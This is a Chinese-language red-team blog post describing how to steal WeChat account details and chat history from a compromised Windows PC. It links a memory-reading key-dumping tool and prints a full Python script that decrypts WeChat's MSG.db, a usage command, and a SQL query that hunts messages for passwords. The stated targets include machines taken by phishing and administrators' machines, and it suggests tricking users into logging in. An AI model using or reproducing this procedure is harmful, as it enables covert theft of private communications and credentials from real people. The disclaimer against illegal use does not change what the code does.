紅藍對抗之PC端wechat信息竊取
0x00 來了
最近弄了一些亂七八糟的東西,突然發現很久沒有更新文章了,正好HVV臨近,象征性更新一下,畢竟半年才更一次,屬實太過分了。
PS:后面會縮短更新時間
0x01 聲明
聲明:該公眾號大部分文章來自作者日常學習筆記,未經授權,嚴禁轉載,如需轉載,聯系公眾號加白。
請勿利用文章內的相關技術從事非法測試,如因此產生的一切不良后果與文章作者和本公眾號無關。
0x02 前言
師傅們都碰到過一個問題:
通過釣魚/滲透/XX方式控制了目標的電腦權限,如何才能獲取到更有價值的信息,更好的開展下一步工作呢
答:眾所周知,WX在個人社交、日常辦公、XXXX中已經必不可少,所以比較容易被關注到
場景:不管是XX工作需要取證、還是HVV工作需要更多有價值的信息,相對來說都是比較快準狠的方式
所以想水一篇文章:關于WX個人信息與聊天記錄的取證工作
0x03 實現
學習地址[會不定期更新](能用就行):
https://github.com/AdminTest0/SharpWxDump
問:為啥要不定期更新?
答:因為PC端WX每迭代一次新版本,偏移都會改變,都需要重新獲取,所以需要不定期更新對應版本的偏移地址,有興趣的師傅可以交流一下
利用場景:
釣魚攻擊(通過釣魚控到的機器通常都是登錄狀態,可誘騙登錄)
滲透到運維機器(有些運維機器會日常登錄自己的微信,可蹲)
某些工作需要取證(數據庫需要拷貝到本地慢慢弄)
自行備份(日常備份自己留存)
等等...............
利用前提:需要處于登錄狀態
1. 如果沒有運行,會提示

2. 如果運行了,但是沒有登錄,會提示錯誤原因(因為實戰中會有各種各樣的錯誤,中文在CS中會亂碼,所以這里用的英文翻譯)

3. 如果用戶登錄了WX,直接執行即可獲取:進程ID/當前版本/昵稱/賬號/手機號碼/郵箱/數據庫密鑰,目前所有正式版本都可以(能用就行)

0x04 版本差異
差異:
版本 < 3.7.0.30,運行但不登錄:能獲取到;

版本 > 3.7.0.30,運行但不登錄:獲取不到;

原因:
版本 < 3.7.0.30,都是從AccInfo.dat文件中獲取;
版本 > 3.7.0.30,修復了AccInfo.dat文件中存儲個人信息(因為之前可以離線讀取);
離線獲取,差異對比(左舊右新)

在線獲取,差異對比(上舊下新),登錄后都能獲取,但新版已經獲取不到郵箱了

0x05 聊天記錄解密
1. wxid_xxxxxxxx一般都在文檔目錄下,作為存儲目錄,下載對應的聊天記錄文件到本地

文件位置:

關于聊天記錄文件:MSG.db,超出240MB會自動生成MSG1.db,以此類推
wxid_xxxxxxxx\Msg\Multi\MSG0.db > 聊天記錄wxid_xxxxxxxx\Msg\Multi\MSG1.db > 聊天記錄wxid_xxxxxxxx\Msg\Multi\MSG2.db > 聊天記錄wxid_xxxxxxxx\Msg\MicroMsg.db > Contact字段 > 好友列表wxid_xxxxxxxx\Msg\MediaMsg.db > 語音 > 格式為silk
2. 解密數據庫
腳本代碼:
from Crypto.Cipher import AESimport hashlib, hmac, ctypes, sys, getopt
SQLITE_FILE_HEADER = bytes('SQLite format 3', encoding='ASCII') + bytes(1)IV_SIZE = 16HMAC_SHA1_SIZE = 20KEY_SIZE = 32DEFAULT_PAGESIZE = 4096DEFAULT_ITER = 64000opts, args = getopt.getopt(sys.argv[1:], 'hk:d:')input_pass = ''input_dir = ''
for op, value in opts: if op == '-k': input_pass = value else: if op == '-d': input_dir = value
password = bytes.fromhex(input_pass.replace(' ', ''))
with open(input_dir, 'rb') as (f): blist = f.read()print(len(blist))salt = blist[:16]key = hashlib.pbkdf2_hmac('sha1', password, salt, DEFAULT_ITER, KEY_SIZE)first = blist[16:DEFAULT_PAGESIZE]mac_salt = bytes([x ^ 58 for x in salt])mac_key = hashlib.pbkdf2_hmac('sha1', key, mac_salt, 2, KEY_SIZE)hash_mac = hmac.new(mac_key, digestmod='sha1')hash_mac.update(first[:-32])hash_mac.update(bytes(ctypes.c_int(1)))
if hash_mac.digest() == first[-32:-12]: print('Decryption Success')else: print('Password Error')blist = [blist[i:i + DEFAULT_PAGESIZE] for i in range(DEFAULT_PAGESIZE, len(blist), DEFAULT_PAGESIZE)]
with open(input_dir, 'wb') as (f): f.write(SQLITE_FILE_HEADER) t = AES.new(key, AES.MODE_CBC, first[-48:-32]) f.write(t.decrypt(first[:-48])) f.write(first[-48:]) for i in blist: t = AES.new(key, AES.MODE_CBC, i[-48:-32]) f.write(t.decrypt(i[:-48])) f.write(i[-48:])
使用方法:
python3 .\Decode.py -k 數據庫密鑰 -d .\MSG0.db
解密成功

3. 查找敏感信息
將解密后的MSG0.db拖入數據庫工具,查詢語句查找關鍵字:
SELECT * FROM "MSG" WHERE StrContent like'%密碼%'
包含個人消息、群消息等等,或者直接用數據庫工具的界面化查找

0x06 如何獲取偏移
使用CE選中WeChat.exe,獲取賬號偏移,通過WeChatWin.dll的基址+偏移,即可定位想獲取的信息,其他信息同理

0x07 參考
參考鏈接:
[1] http://cn-sec.com/archives/440791.html
[2] https://blog.csdn.net/weixin_42962516/article/details/114904925
[3] https://blog.csdn.net/qq_38474570/article/details/96606530
[4] https://www.52pojie.cn/forum.php?mod=viewthread&tid=1153671